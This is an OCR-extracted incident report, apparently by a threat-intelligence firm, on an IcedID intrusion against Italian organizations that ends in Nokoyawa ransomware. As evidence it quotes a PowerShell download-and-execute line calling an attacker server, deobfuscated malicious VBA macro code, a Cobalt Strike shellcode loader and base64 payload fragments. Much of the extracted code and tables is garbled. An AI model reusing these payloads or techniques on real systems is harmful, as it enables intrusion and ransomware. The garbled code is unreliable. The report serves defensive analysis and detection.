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Threat actors have moved to other means of initial access, such as ISO files combined with LNKs or OneNote payloads, but

some appearances of VBA macros in Office documents can still be seen in use.

In this case we document an incident taking place during Q4 of 2022 consisting of threat actors targeting Italian

organizations with Excel maldocs that deploy IcedID. The threat actors deploying such a campaign may hope to target
organizations who have not updated their Microsoft Office deployments after the newly released patches to block macros on

documents downloaded from the internet.

We have previously reported on IcedID intrusions that have migrated to ISO files, however, this report is one of the most

recent that will focus on the traditional Excel/macro intrusion vector.

Once inside, the threat actors pivoted using Cobalt Strike and RDP before a domain wide deployment of Nokoyawa

ransomware with the help of PsExec. Nokowaya ransomware is a family with ties to Karma/Nemty.

The DFIR Report Services

Private Threat Briefs: Over 20 private reports annually, such as this one but more concise and quickly published
post-intrusion.

o Threat Feed: Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, etc.

All Intel: Includes everything from Private Threat Briefs and Threat Feed, plus private events, long-term tracking,

data clustering, and other curated intel.

o Private Sigma Ruleset: Features 100+ Sigma rules derived from 40+ cases, mapped to ATT&CK with test
examples.

» DFIR Labs: Offers cloud-based, hands-on learning experiences, using real data, from real intrusions. Interactive labs

are available with different difficulty levels and can be accessed on-demand, accommodating various learning speeds.

Contact us today for a demo!

Case Summary

This intrusion began with a malicious Excel document. We assess with medium-high confidence that this document was
delivered as part of a malicious email campaign during the first half of October 2022, based on public reporting that
overlaps with multiple characteristics observed. Upon opening the Excel document, the macros would be executed when a
user clicked on an embedded image. The macro code was responsible for downloading and writing an IcedID DLL payload

to disk. The macro then used a renamed rundll32 binary to execute the malicious DLL.

After reaching out to the initial command and control server, automated discovery ran from the IcedID process around two
minutes after execution. This discovery used the same suite of Microsoft binaries as we have previously reported for the

IcedID malware family. At this time, the malware also established persistence on the beachhead host using a scheduled task.

Around two hours after the initial malware ran, IcedID loaded several Cobalt Strike beacons on the beachhead. Within
minutes of running Cobalt Strike on the beachhead the threat actors proceeded to elevate to SYSTEM permissions and dump
LSASS memory using the beacons. Following this activity, the threat actors conducted further reconnaissance, and then

moved laterally to a Domain Controller through the execution of a Cobalt Strike payload via WMI.

Next, discovery tasks continued from the beachhead host, including network scans for port 1433 (MSSQL) and browsing
network shares with an interest in password files. The threat actors appeared to have removed some contents of the network
shares off the network as canary files report the documents being opened off network minutes later. After this, the threat

actors remained quiet over the next several days.

On the fourth day, the threat actors returned briefly to execute a few commands on the Domain Controller related to the
enumeration of domain computers and high privilege user account groups. Privilege escalation was also observed on the

system via named pipe impersonation.

Early on the sixth day, the threat actors became active again launching the Edge browser on the beachhead host and
appeared to download a file from dropmefiles[.Jcom. But after completing this, they went silent again for around another
eight hours. Then, from the beachhead host, a new process was spawned from the IcedID malware; and from this shell, the

threat actors began enumerating Active Directory using adget and AdFind.

The threat actors then began to spread laterally using a combination of Cobalt Strike beacon DLLs, batch scripts, and WMI

commands. More credential dumping was observed, followed by additional AdFind and other Windows discovery
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commands. The threat actors then continued lateral movement and began checking RDP access across the environment. A
batch file was run enumerating hostnames throughout the environment using nslookup. Some further pivoting around

systems and targeted discovery continued throughout the rest of the day.

On the seventh day, around 23 hours since the last activity in the environment the threat actors began the final phase of the
intrusion. The threat actors connected to a compromised server via RDP. From this server they would stage the ransomware
deployment. They deployed the ransomware payload, Sysinternals PsExec, and a cluster of batch files 1.bat-6.bat and p.bat.
Opening a command prompt, they moved through executing the batch files copying p.bat, a renamed PsExec, and the
ransomware payload to all domain joined hosts. They then used the batch scripts to execute the ransomware payload via
PsExec and WML

The time to ransomware (TTR) was around 148 hours (~6 days) from the initial infection. After the intrusion, contact was
made with the threat actors using their support site and the price of the ransom was quoted around $200,000 USD in Bitcoin.

No ransom was paid as a result of this intrusion.

Analysts

Analysis and reporting completed by @iiamaleks, @MittenSec, & @0xtornado.

MITRE ATT&CK

Initial Access

This intrusion is linked to an IcedID malspam campaign that was observed in October 2022 targeting Italian organizations

based on overlap in the maldoc template and the IcedID C2 server.
QO(%DQ reecDeep
Rt/ cecadee

B New #lcedID #Malv back targeting #Italy [l after few months!
® hxxps://simipimi.com

infection comes via #malspam, using same TTPs as

subject: Ricevuta di pagamento
@ c2: kicknocisd[.Jcom

HTTP/1.1 404 Not Found

s

This case involved an IcedID payload delivered through an Excel maldoc containing VBA macros that were linked to the

two images embedded in the document, which caused the macros to execute when a user clicks on either of the images:
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L) Q@ < 4_202210250456866742.xls [Compatibility Mode] - Excel
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Ready

The macro associated with the maldoc reached out to a hard-coded domain and downloaded the first stage IcedID payload.

More on this in the next section.

, Destinatio

url;https://simi

Execution

IcedID

Once the VBA macro was invoked, Excel connected to the hard-coded domain and downloaded the first stage of the IcedID

payload.
eventdataset * .  destination.ip * destination.port #+ .~  dns.questionname ¢ ~  dnsanswers(ldatas .  destination.geo.country_name
zeek.dns [ 53 simipimi.com 91.213.50.43
zeek.ssl 91.213.50.43 443 Russia

When the VBA macro from Excel calls out to the hard-coded domain, it has multiple interesting characteristics, including:

» Two OPTIONS requests followed by a GET request.
» User-agent fields mentioning Microsoft Office.
e Specific HTTP headers such as X-Office-Major-Version , X-MSGETWEBURL , X-IDCRL_ACCEPTED ,and UA-CPU .
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Host User Agent Info
simipimi.com Microsoft Office Excel 2014 OPTIONS / HTTP/1.1
simipimi.com Microsoft Office Protocol Discovery OPTIONS / HTTP/1.1
simipimi.com Mozilla/4.0 (compatible; ms-office) GET / HTTP/1.1
~ Hypertext Transfer Protocol ~ Hypertext Transfer Protocol
OPTIONS / HTTP/1.1\r\n OPTIONS / HTTP/1.1\r\n
Connection: Keep-Alive\r\n Authorization: Bearer\r\n
User-Agent: Microsoft Office Excel 2014\r\n X-MS-CookieUri-Requested: t\r\n
X-Office-Major-Version: 16\r\n X-FeatureVersion: 1\r\n
X-MSGETWEBURL: t\r\n X-IDCRL_ACCEPTED: t\r\n
X-IDCRL_ACCEPTED: t\r\n User-Agent: Microsoft Office Protocol Discovery\r\n
Host: simipimi.com\r\n Host: simipimi.com\r\n

~  Hypertext Transfer Protocol
GET / HTTP/1.1\r\n
Accept: text/html, text/plain, text/xml\r\n
User-Agent: Mozilla/4.0 (compatible; ms-office)\r\n

UA-CPU: AMD64\r\n

Accept-Encoding: gzip, deflate\r\n

Host: simipimi.com\r\n

Once the IcedID payload is successfully retrieved, it will be decoded with Base64 and written to disk. In this case, the
payload was written to the path retrieved from Application.DefaultFilePath , which is the default path used by Excel

when it opens files.

Function hermu()
hermu plication.DefaultFilePath
End Functiof

hubbW = hermu & "\" & Int(9957898 * Rnd) + 4500 & "
ridacchiare cantavamo((Replace(RTrim(h),

DEOBFUSCATED

Function GetDefaultFilePath()
GetDefaultFilePath = Appl ion.DefaultFilePath
End Fur

icedIDFullPath = GetDefaultFilePath & & Int(9957898 * Rnd) + 4500 &
WriteFileToDisk Base64Decode((Replace(RTrim(h), " * ), icedIDFullPath

The random name generated for the IcedID payload may be either 1 to 7 random digits, or 4500 . This is because the Rnd

function will return “a value less than 1 but greater than or equal to zero“.

Y Noimage data sfJc e o o
\Users I Oocuments | My Music
=) \Users\H Documents | My Pictures
=, J\Users I Documents | My Videos
ysers N Documents 7030270 |
M \Users\IIIN Documents | AWAYOKON-readme. txt. txt
L A\Users I Documents | calc.exe
J\Users I Documents | desktop.ini

U

Once the IcedID payload is successfully written to disk, the following post deployment steps are initiated:

* Rundll32.exe is copied into a file named calc.exe under the path returned by Application.DefaultFilePath

e Calc.exe (renamed rundll32.exe) is used to invoke the IcedID payload.

inction hermu()
1i n.DefaultFilePath

sperimentazioni = sanguinanti(Left(Environ(App44("8coIm@sph )), 20) & App44("serDu
hubb = hermu & App44(" )

ridacchiare sperimentazioni, hubb

presiedere = hubb & & pareggiato & ",#1 /

Shell presiedere

DEOBFUSCATED

inction GetDefaultFilePath()
GetDefaultFilePath = Application.DefaultFilePath

rund1132InMemory = ReadFileIntoMemory Left(Environ

falseRundl1l32Path = GetDefaultFilePath & "cal

WriteFileToDisk rundll32InMemory, falseRundl1l32Path
icedIDRundllExecutionString = falseRundll32Path & " " & icedIDDLLName & "
Shell icedIDRundllExecutionString
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In this case, rundll32.exe was copied into the user Documents folder and named calc.exe. The name ‘calc.exe’ is hard-coded

into the VBA code and will not be changed.

My Music

My Pictures
\Users\J Documents My Videos
L \Wsers\J Cocuments | 7030270
LJ \Users I Cocuments | AWAYOKON-readme. txt. txt
» I [ | g.\Users'_Documents calc.exe I
&l Users' | Documents | desktop.ini

Once the VBA macros invoked the IcedID payload, the parent-child process relationship between Excel and calc.exe was

observed.

" B 4 EventEventData CommandLine

\Progran Files\Wicrosoft Office\Root\Office16\EXCEL. EXE" C:\users M DownLoads\d._202210250456366742.x1s” .

The following diagram provides a visual summary of the process to execute IcedID on the endpoint.

xg : < Fundta2
XLSX to IcedID

IcedID VNC

The threat actors were observed making use of an VNC module that was spawned by IcedID to spawn the Microsoft Edge

browser:
event.action * e eventcode *+ process.parent.executable * ' process.command_line *
Process Create (rule: ProcessCreate) 1 C:\Windows\System32\dllhost.exe cmd.exe /c start "" msedge.exe

We were able to reconstruct some of the VNC traffic thanks to @0xThiebaut‘s tool PCAPeek. You can see the below options

such as Edge, Chrome, Firefox, CMD, Task Manager and run dialog. Based on the visual it appears to be the KeyHole VNC
module reported first observed in Oct 2022 by NVISO.

W HOESKTmp X

Execute into session

CHROME FIREFOX 3 IEXPLORER
e EDGECR EZ OUTLOOK B oo
{5/ RUNDALOG | W MyCompuer | | ] TASKMGR

KEYHOLE

In another instance, a run dialog was observed being used to execute the calc.exe file that was created earlier. More

information can be found about this here.

However, the command below would have no effect in this case as calc.exe is a renamed version of rundll32 and no

parameters were passed.

eventaction ¢ #  eventcode: s  processparentexecutable * 3 processparentpid + #  process.command_line * 7 processpids £

Process Create (rule: P rund1132.exe 6160 C

Several other programs were seen run in this manner, as seen in process execution logs below:
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process.name v process.command_line v process.parent.name » process.parent.command_line

D11Ho:

D1lHost.exe

\D11Host.exe

D1lHost.exe

D1lHost.exe

Cobalt Strike

The threat actors used Cobalt Strike beacons throughout the intrusion. The first beacon was executed via PowerShell, which
in turn was executed initially by a command shell which was started by the IcedID malware at the same time a DLL beacon

was also executed.

IcedID to Cobalt Strike Execution

t Strke.

rundi2 c:programdata\p) diLDiRegisterServer
Va  — cmdexe /K sscacy

£

powersheiLexe -nop -w hidden -c "X ({new-object net webclient).downloadstringhitps://aicsoftuare.com:757/coin)

The downloaded PowerShell payload, previously hosted on hxxps://aicsoftware[.]Jcom:757/coin, is available on VirusTotal.
Here is the content of the payload, where we can observe an object being created in memory using an encoded string. We

will walk through decoding this string to view the Cobalt Strike configuration present within.

$s=New-Object I0.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAA/9y9690ySLIv+nnmr+gPK6K7g16tIqLuiBVXEI
<---CROPPED_BASE64_CODE--->
/Pj8+Pz4/Pj8+Pz4/Pj8+Pz4/Pj83/580/ff/rpDItj9u3nP96//cu32j9/0//+aX/59sfrKvst0G7CX62j0Fzw75r2/du//fSHPIRFf/nj/a!
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Recie =
HASTAAAAAAAA/9y9690ySLIv+nnmr+gPKEK7g16t TqLui BVXEBUQES94wdKTEGDIRZA7ivvs//1kVaGP79tvz8YOF fuleSIMHEGoS1Zef plViyc4 j83Reaf Ci0+02/9587

+/CT+9a+X8nYq8H/B5x+uU/wjyeL TP6220XPy/KF/Ide/LK3Min765T8qK/ tHF J/LOPnt/TDCZrnMnN+/ctf/voXcan8SdbF +cFNKvZK+UFkFF582n/6r59++ZuQ0Masvzb3/

/H/XDLLHNUBF39u+QUQp47kR36Tv7Lrz/9vz/tPSdz/103A+dU/PS/FVaPF/wuhbF thU2xWrROHOXCu)3x3 jw+WTiC3zdJ6Be//Pw//+FPv/7tPzt//32511aY//LzpsaL)/rOH

A-Za-20-9+/= 1V///rT//4VG2TqxPn1280/ZXEeX4r£9/6ty/6+)b1kMSr08//IaMzZEQS GMe fDxJrpc/88PBUWTaCISGP//209+wvb/9/e8//T/v3qzLW+FHzu/KrXCyONKAWeNfnPx32bqd

Q2FX0Cxn30Ys5v786/Qi cwpyuz206sv8FWVX51f/uNNhuFVUO/f/£16//7Lwrm/i PvwPVTLSONQal Lkv/7H8MS/QWEN8A2t Dobzh95/MNev8PcHBVVr// 7RExBAKLHEQrnHWX

Q94NX//qXv/yN/OvAeHSZxr 1 Pvuvnq//aRBJ6wi zmacTiMrnV///3U/ tNnXk/1vF1pRS/VUBWydHtqP// rpb7vYP//9r3/59a8N9+D1 91 1HS6dDO//uTSMnY t/c8b12Yr804.

vhf/nRnDmXOCHO+P1VbAHY/0XnS0ZzH; fUsRkJ+rc/Pjal/0LI7Th2TjBVOFQK2CIX7/DI3DX35WbpoTAF30b2DT/ 74 AnDmvdolola/WETfyshhaef 7bT8SS5P20208bxwads

28/Cbfch24)ZRGTF3/+6q5WhoV/svLiVA3F F/0BSZumx fGGE10eYHaBDMYmCUB+FSIVFvt9s/0aN747qsLP/+QIqIVhi ByUFMFcwIXkBabAnkmO// 2PX/8+vvGKZQoCZOTShMt

NAOtF3ROT1GE3SZX0F/8T7rOkhMaFE rFSE+0g0MsAn j4re fdnSWgF77+bc/MNS/r3v qphvui LT ORVXBBVCEGOKKNAOrk/hOUSZP+NPGVRFBVO7pANSLVANDC/NebOTSSWQE

Gunzip PTHMAGLmSW3MbOUN++Tnv68+C7FXM2551+Eyy+P1SqLVAYCtymd903cUjS6tHFpdi dhGVoLsc+dFQ37ul3XyGSbphl hbZaYD/vz5D/NbHWSacLaPFYDY-+F FYpueKPRndy twol

FemgNnw2/1TS0evadYbQIyUi +VS9de9zal V4i 31 eUn+mzZ01u7F /e7YKS2INYG14mN9S0bZwO FDOY j tmS1dch/WjiwPzdZ0t+ SOLMHVVbhNrxCL/sHNgquémp9s/yHNOKZ1a

x1Svm3NZ1G42yi X1IDWEWCBFt1Ldba2Ti z1khvAWVOS7YRAYRYC/BwFnfAi SGTpbTPasTx JS2FmL £136nIKt+ul tONK1ASS2Zh FNKi XbnFXPLVFTZUrqeKWUDXE6DNXKF39ZkN

9FSeTX1 eodpbw8+U0ekaQva3dByapRngH2DTO jubRZ jxdcC7dXu82MevvS/vasNeSz FXBOHERCCSL20r TgLWFmcQ/ kISmY3r+9p AFbF+ THISPOH7 j++SCiE+qt//6+QG/9Y7

+1gMaDri£9x0PoS FA8Q/15c/tpXBNNENQKV21I9uvapThFWm/ FNHZ67Mgn+ f rmVrPej4ZL /yvThGMtxHs01a)9Q741adTWICRGnrpTSQNAAtgBuAf+5F1B/u3h4eXrtIt57R/p2

bO1gtF/GH/vGkaVT323CYRpN2AOSYH8VTvZ7V X FKIreAeo+zal hety TVNICELE2aC71RM2FmdT/6 Jue3aSbvLdMOVAZ0af CT1Vvzp@bayWhInUOF Ir3NLr700)ZCIN3IW3ET+

NOJ0G3NINOL rKytsczL tnv5ca8z6N+Frp3+Fg2pc3EutuBMo3tcconmetFZnu32wfry6920bXtiBGANFaVcdlNdaF 7m2raCyvMi 9t 8alguvnZ8aY-+054wudabm2bVb9fmqVo2

+POkt82utMnk5f CaHHuTRzdax+pTeHRCSAPpdfv3ULY4t75K22T8nF +e+oT tp2ams tNGK4UL+TEMA+NBwbeLw2]/CvFudfhge3qdPCy07L S6BEFTHDPhowSNV6YTapP1c7C/Fmz

CdazpcRikQjud0 £53YyY7knH3MdaY10LW6jdwIr 18+7vepmOUDLVto2cdyWT3ggtupNbN1 BnEGRMLCISLrOY+SYCMLZ680nb j9ax TIMnFXBZws+do/GvDpKsgy/V7va4KZSt3

AUUCA10S8IR7m3GZm;KS jk7kZdD7L TeZg9ZuxyQikyH1UQr jees1pG/Y7pybVz5Z9eID0bHNENi 94y9VhGORTENFPryNygLuksrkKSWSAXkt036HX +m+uq@+PPCYVBVsP2szLkx

YBKR40Qf agbk1ewgMbWhfZUFQuazQDx1paj6UYNz1jwsC1m2YISi elcHzi FZUDLQYPHehgPVF-+EsL 9gpfasb33ChhwKmnaXTOYI/hMC62f 7XPFeqS590gz)Yraj 7135 GEuTt P

4fx6mf0dcHwdgngI6Mh1WZG1 5c9J+UpkNp75sD1xtnCScmxPZi tDVBLAFSRNhADFbBut/KGpz132TW4n/MGez1 YVOywd/tmDOrdQImi 1n2Ui 1+FCZ7xQ7u3mFmoMS jLNZZ2MVaF

JOVUVMG V/ESEQuSV8OHWVy8W3 jZK4yZA9VHE 1 99Mr 421 HWXACXv FrSeK FhYAZd)3XDduwS c0j 1yDoxvodUzXLDuMNb JqNUpr30Y19YNTS s PewvEnKeUGFWk/1VSCtKyb8p

1Xec2KL F45ydVHNMP ZpOW6EY5d81H4TX63NBS L 2uevwydo4 70UXgyPui £ dm30GCeBNXGHS jbZ07CbCL1PISBnASX+ TEMLdmhyKQ8sp7L+wOYN+41 k7aMFdBq+134sVkbQLVr+

VysP+V3hfIRLF3c006FRGIrL11nejich66]atVOY;2Azs/ImI6Vh +hPRMAb4PHSIrgyrGddpmavRDmAbpDPoDzwqprbS20vL JduvDENVVSI0ezUD1uFnTdZrPHaaS t4osSSVYi

QIuh3u0dz1RV32rNFYWO26/Yz/7HSV N0 JOSTPTUMFNOTNMSDVbAThILBSpt477uyMIzHjz7 IbXSRVr f Ivqwd8z6/xKiQ02kc/Ced jHyY3pNxHMLNMbgH8p/ XOAbRNAX /

7yT1/Xhm72mVLT2TmhhbIN6UOVRGzZi ZVVAEPOV6yHAON7K/MuX7C/pFALG 1 kH3qRn +vi F0aa)X0gOPS3T jM7thF3oK2USDpHTo0uhaOaePNGH6J 1 kf tGnwBRAqt/nPCAS+DFC

Kfnx44N8DndxHm7os FakwfQdbnzof 8 +mPR2mialc10KY FL+UbUDGUYGONngSdtkP/eEZRmnSXaRgCeZWXmdbIFuVY fRAccSz1dz039MMbS jPdSne7 zL HAWZWA+Q;6TY7a8dqt 18

.S jWw/4HBAUYFErTrX8YKVGKYOGgaVLQF/ZrpiNabLQgJ/LWUOF/nLPSUrGh;jKsXe+q1TptvaXun/LqI T4Z251D3yaUAR1L eQXvBeMFXLOHNSVECF Tkac1HrESD] +ol t89uFdrv

From Base64

i tine: 7ms
Output Gl \u:gth sz @ 0om®m
TyMjTyMjTyMjI !]IvM]IyMJ[Y?-UI\'MJ])MJIYMHVM]MN]IvM]IyM]IyM]IvM]IyM]IyM]IyM]IyM]IvM]IyM]IyM]IvM]IW!]lyM]I\'M]]/M][yM)I\M]IyM]IvM]IyN]Iy
M3 IyMTyM; TyM3 TyMJ TyM3TyMIyM; IyM;TyM; TyM3 TyM3TyM3 TyM; IyM; IyM; Iy Ty TyM3 TyMj TyMTyM; IyM; Iy TyM; TyM3 TyMj TyMJ TyMi [yM; IyM IyM TyM3 TyM3
/M3 TyMj TyM; TyM;jTyMj IyMj TyMj TyMj TyMj TyMj IyMjTyMj TyMj TyMjTyMj TyMjTyMj TyMj TyM;jTyMj IyM; TyMj IyM; TyMj TyMj TyM;j TyMj IyMj IyMj TyMj IyMj IyMjIyMj Iy
M3 TyMTyM; TyM3 TyMj Ty M3 TyM; IyM; LyM;TyM; Ty TyM3TyMj LyM; IyM; IyM; LyMTyM TyM3 TyMj IyM3 IyM; IyM; Iy TyM TyM3 TyMj TyMj IyMi IyM; IyM yM3 TyM3 TyM;
TyMjTyMjIyMjIyMjIyM; TyM;TyM;TyM;TyM;TyMj IyM;TyMj TyMjTyMjTyMj TyMjTyMj TyMjTyMjTyMj TyMjTyM; IyM; TyM; TyM; TyM; TyMj IyMj TyMj TyMj IyMj TyMj IyMj Iy
MjIyMjIyMjIyM;IyM;IyMjIyMjIyMjIyMjIyM;j IyM;jIyM;jIyMj IyM;IyMj IyMjTyMjIyMj IyMjIyMj IyM;j TyMj IyMj TyM;TyMj IyMjTyMj IyMj IyM;j IyMj IyM; IyM; IyMjIyM;j
TyMjIyMjIyMjIyM;jIyMjIyMjIyM;IyMjIyMjIyMj IyMjIyM;j IyMj IyMjIyM;j IyM; IyM;j IyMjIyMj IyMj TyMjIyMj IyMj IyMj IyMj IyMjTyMj IyMj IyMj IyM;j IyMj IyMj IyM; Iy
M3 TyMTyM; TyM3 TyM3 TyM3 Ty M3 TyM; Iy TyM; TyM3 TyM3 TyM3 Ty M3 TyM; TyM; TyMTyM; TyM3 TyM3 TyM3 TyM; TyM; Iy TyM; TyM3 TyM3 TyM3 TyM TyM; Iy IyMj TyM3 TyM
TyMjTyMjIyMjIyMjIyM; IyM;TyM;TyM;TyM;TyM; IyM;jTyMj TyMj TyMjTyMj TyMjTyMjTyMjTyMjTyMj TyMjTyM; IyM; TyM; TyMj TyM; TyMj IyMj TyMj TyMj IyMj TyMj IyMj Iy
M3 IyMIyM; TyM5TyMjTyMJTyMIyM; IyM;TyM; TyM3 TyMjTyMj LyM; IyM; Iy TyMTyM TyM3TyMj IyM3 TyM; IyM; Iy Ty TyM3 TyMj TyM yMi IyM; IyM IyMj TyMj Ty
TyMjIyMjIyMjIyM;jIyMjIyMjIyM;IyMjIyMjIyMj IyMjIyMj IyMj IyMjIyMj IyM; IyM;j IyMj IyM; IyMj TyMjIyMj IyMj IyMj IyMj IyMjIyMj IyMj IyMj IyMj IyMj IyMj IyM; Iy
M3 TyMTyM3 TyM3 TyM3 TyM3 Ty M3 TyMj Ty TyM; TyM3 TyM3 TyM3 TyM; TyM; TyM; TyMTyM; TyM3 TyM3 Ty M3 TyM; TyM; IyMTyM; TyM3 TyM3 TyM3 TyMi Ty Iy IyMj TyM3 TyM;
TyMjIyMjLyM;jIyM;jIyMjIyMjIyMjIyMjTyMjIyM;j IyMjIyMj IyM; IyMjIyMj IyMjTyMj TyMjTyMjTyM;j IyMjIyMj IyM; IyMj IyMj TyMjTyM;j IyMjIyMj IyMj IyM; IyMj IyMj IyM;j

start: 1642
end: 1642
]

for ($x = 0; $x -1t $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35

= [System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll
, (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, @x3000, 0x40)

[System.Runtime. InteropServices.Marshal]::Copy($var_code, @, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer($var_buffer, (func_ge
@([IntPtr]) ([Void])))
$var_runme. Invoke([IntPtr]::Zero)
- }
& BAKE! i

Auto Bake

After initial Base64 decoding, we found the payload used the default Cobalt Strike XOR value of 35 which allows for the

next step of decoding the payload.
Second stage decoding:

Recipe W input N + o321

$7025255YnF2a6rGabL PAYMiT2uuPsnc3NxrqxrouCrfCI33PBimIONGXVLIyM; 131 ratrc8yMjIyMjIyMjIOMI Ty0D9/HrPmN8IDctbepnsTh
9Dpwajg090uY8ESEUHSY CZhzCyUXHpyPTF36RSSuhtCnEaipOIPS0/ VpsPwbELSbBoMIFEUBbLTOA SIBB27Y1ViwkyeHHOY/FVRIETBKGTA/S
+Ct7XgrjkKQLciix6I1Tvn/Xq60aJdMIVSTagTABS: P/q0g/Rpfb9+9i9STCHAV jat16d6XedX jp8KINF7MEPCGPAaPiZqg4T331 CiNmIyNHp
A-Za-20-9+/= SY;TyM;IyMjIyPg3NzcOyMAEYGhKCM;iyE TOE TyMjTy0JbCT T2zM;TyM;T6Mi TyMjTzMjTyMnTyMnTyE jTyMj TyY TSMiTyMiKGSrIyMnIyML
TyM;TSNDTiMjMyM; TyM;TzMjTyMjTyMjTzMjTyMjTyMzTyM; TyMjF 541 TzM; TyMDmyAj cSMj IyeHICNHIyMj TyMj TyMj TyMj syc FuMi TyMiTyM
IyMJT+MnTyM1 TyMjTyM; TyM; TyM; TyM; TyMjIyMj IyMjIyMjIyMj IyMjT60p ICNTTyM; IyM; TyM; TyMj4yE jGyUj IyMjIyMjIyMjIyMj Iy Iy
MjIyMj TyMj I86URZiU4CM84UnTyMzTyM;iyE; IycTyM; IyMj TyM; IyM; InMiIOPOkoSBL THGI1HbTyMjdyE IOk IyOPTSM; IyM; TyMi IyM;
yYNjIyNjzoSBIHgTyOr5iMjT+MaTyMF IyMjhSA; TyMjTyMjIyM; TyMjYyMj486QhTGUgeA; FuMjTyOz JyMjASM; T+ 8gTyM;TyM; TyMjIyM; I2M;
T2POkoWMj4PGT305TyMj4yc;TzMjTyPNICM]TyMjTyMj TyMj TyNj TyNnF1 FrixH4SpAGVw+XPOOF07LMZyu6SUAGZmrkOHN/EkoKOBF rAJ AT ev+
10dci c+nV0p3+31QakFT6nG5Q6cxdaryGCIFAAGKLAOy rmtvPAVGUHXZSi L 11mqUUKCAPHIRbDJ4pWWH1L SSG70cw160HY GSEawb i IFobDa2p

rg4mYOVVIR70FwIBKOACH7eF hvZRuuy tOhUVmDHQrha/6CACgS dehFi +0E +VVALYYv70yYclu/6HESbY3GSrGPIKpZSEX3nROKBAX11C11537w
1HadgykGUEDIL FZON2UFYrK2FySr1/HwdooZLNGOtXNNCLWGKZX2501 PXNZ2FVF6ZYYD+ Lyl Jk+11KERZ8WKt2p21aFZ9aA0q e FLWYm+3cHM
9xQEaPtbAygXRh6RzwbQ3ry8MrQMUpeg/iMjTyOoaySoabjoqGmI8KhpkPioaZ jApdM7pdMydx/ TF ghrCVvj40DgZTLvZGHg40DWWaXgqG3teTv
4Grs6GAZHSSBYBKel e3SKR8rmexY5+Dg4AuBYxv; IRShIQPm71YhHyek6zhjH+ SV2aFt SPgh2+GXt6F rKyE J8KNo70KhHy) 3G+ GeZaF rkyEJ6K
No70KhHyJjG+KeS6do/OKhHyK10zvTHx8mqB81 2xKSY2UF1X21afHTIKhrvMToqGuMxPCoaSTE +KhrnMTAT1 jm40Dg(wQs qGm8x01ioaYzE+Khpl
MTA6G00bhtqG3qGMMAKXTBKXTF tM7rifsIaxqsaxlrImmdxLhd60Dg4GUy1 L kfL611DZT oR81HyOIYGDi4GSQC+ShYxbhCING4uDbEIQTCIpg
4uBrEAvkoWMU4Qi 9YOL g2xCUEGXbF JQu4zuh6z51DZUkoNj/0zupHydt i +h1HSVL a6 TEuKhrvMSGGUMXTCoaSTE Khj MChv6G+ob2hvL8jLCw
SqGskqGm46KxpoPi 3qGMMOKhgP jgqGsZazqobaj4rG31RS j4KFZ4eDg4NMy J6ATWODGEB/ 1uk714GUgLcSkbajhrG31YSF j4KhtrMSwozInpM
TAYODGEB/11k714GUg1MaoazEsKxrJ2szH/XKTuL gYx jh10LTOBhrrMSwozT F9eZ04uBrI6hrvMS gaGMkaL ] LKhpyMToqGmUxPC3qGMMwK1 rE
Gs6GsZCLAFHX1TIXtrGsmazOoay8Iax4 FHEhrvMTQqGuUXNi oYy TAvyMsLCyoaySoabjoqGnQ8KhpmP1 saZDApG2y4aRrO19L SkpKayepaxCo
aznhFWIXCiEC4h8iodnxk+2hafFY5uDgaAkS40Dgayel 0zKsbdUS1 uPgoRcDMOpt7LIIKZSNHy LrJxcBMQof InsapG30sudN46ghCOKi auTQoNj
g71b271ar4SECSCEISK1FI0T MahjT+NjAt+iauTSoli gHeIWox7vags FIQnmbFRhYwLfomrkaFooB7vVaMFYwDF omrkOKFooB-+oHy +VQEXbMS
0871bboR8pdszk+bvVrPhC+L TMnsnayohB+SoTQjiIQnkYwDf4y+iauTQYwHf ol jgomrkdaFoo0G1 220T7WMC 7yECAqLVXuZSC+VZ3eDgaKFog
0KhJqDj3al JT0ShIubgpMsmdyClaeGoa?zE6Khr IMTWGGUCKPi SaSTEWCMSLKhpvMToqGmMxPCoaZ TE +L ehtqG3qGMMwKi DCaVrMalr0GstqGsS
CMXN4ODTO2UgLbi 0a5zE KRrpMSArGsVrYKNUODg4Kx3YDG50C sbN9040DgoWsyqWsroxs03sB1 I)XHo2uk3vRpz2mnSGUgnveoba/ogMsXaqT
uGB8ja0GoHyHbv+SCENMgqGu8xKCoadzEgkhr1MSWaGMKkwKG/0b6/TywsqGskqGma6khpiPCoaZD4qGmYwKGoobaht6hjDNCoawmha+mpazmhax
CoaxoIm82g4GUg72UT40DgoNupSG2hH2MYn+OnMDg4NMyoNisgF xGkayB1Mu9 1 TeDg4BYhd+91HODg4KnD4ax txXrF50Co1 SBQ40DgrmudwICtZ
TKU/q1tYWjg40Coazeoay2pYyHoqGmkxMChHZT JZ0Dg4GUWL JetbZHo0zJ1KZ78rGs 1 WsurMs joNuk6Bhj TuTR4ahtqeThs+ScDaiD46xtY2ig

From Base64

Standard

tine:  7ins
length: 261490 0
Gz ez 80
LMZARUH.CH.3 ###H. .&555H.BH.A. _ #50A BudVh. ###7H agDessmssandsy 00E. NéD.¥b-;9. ..A.Z
> E76. i #E\UOK.
¢I m.Ymby0.%c. .B.112epY '>.@vNao%?\{Rvrya 0.a..A..)c.."2°.APY.6.~.vq.0.0, .«JE. ,6.0p00. . 85" {0.}

2. AE. . #AAIPE##A . AHHHIHIHEATON Q. . ME" HHO HHIHHCO 1 HEBHE . FUHR U R B MR HHIBE N A28 D

# R: HHIHHS BRUBUHAS BEBUIR BHIBERN, A A | ARIWS 0 BABRIRHARERIINR . #4

A S T Y P2 TR
i B

AT HRIOOUE . M HHHA 1. HHL O HAOHBST Do ct
Ua. +%. EVbo . PESTK. DZsIbDEE S 0.5 .. HL."GsViK-6z.raiKOEF. éAfa<al MiP. Y. Ukke M.8. .EGAAAE wv.d. 1676, .1
g ;. BiMIS...: 4.
D2.56K.3. 05 6XdGruk/ n x n b.6060. £, |6a0. G. Yidizéu;eRa® xiiEp; 602 27RyhU . Ny6Ke
1 E.1¢0.3%0.358.3. .3.8<B5. HxARAAF. IGBARALu A NI["ATIEC:
-NGU. 8RXE . H. . *E .KIA. <
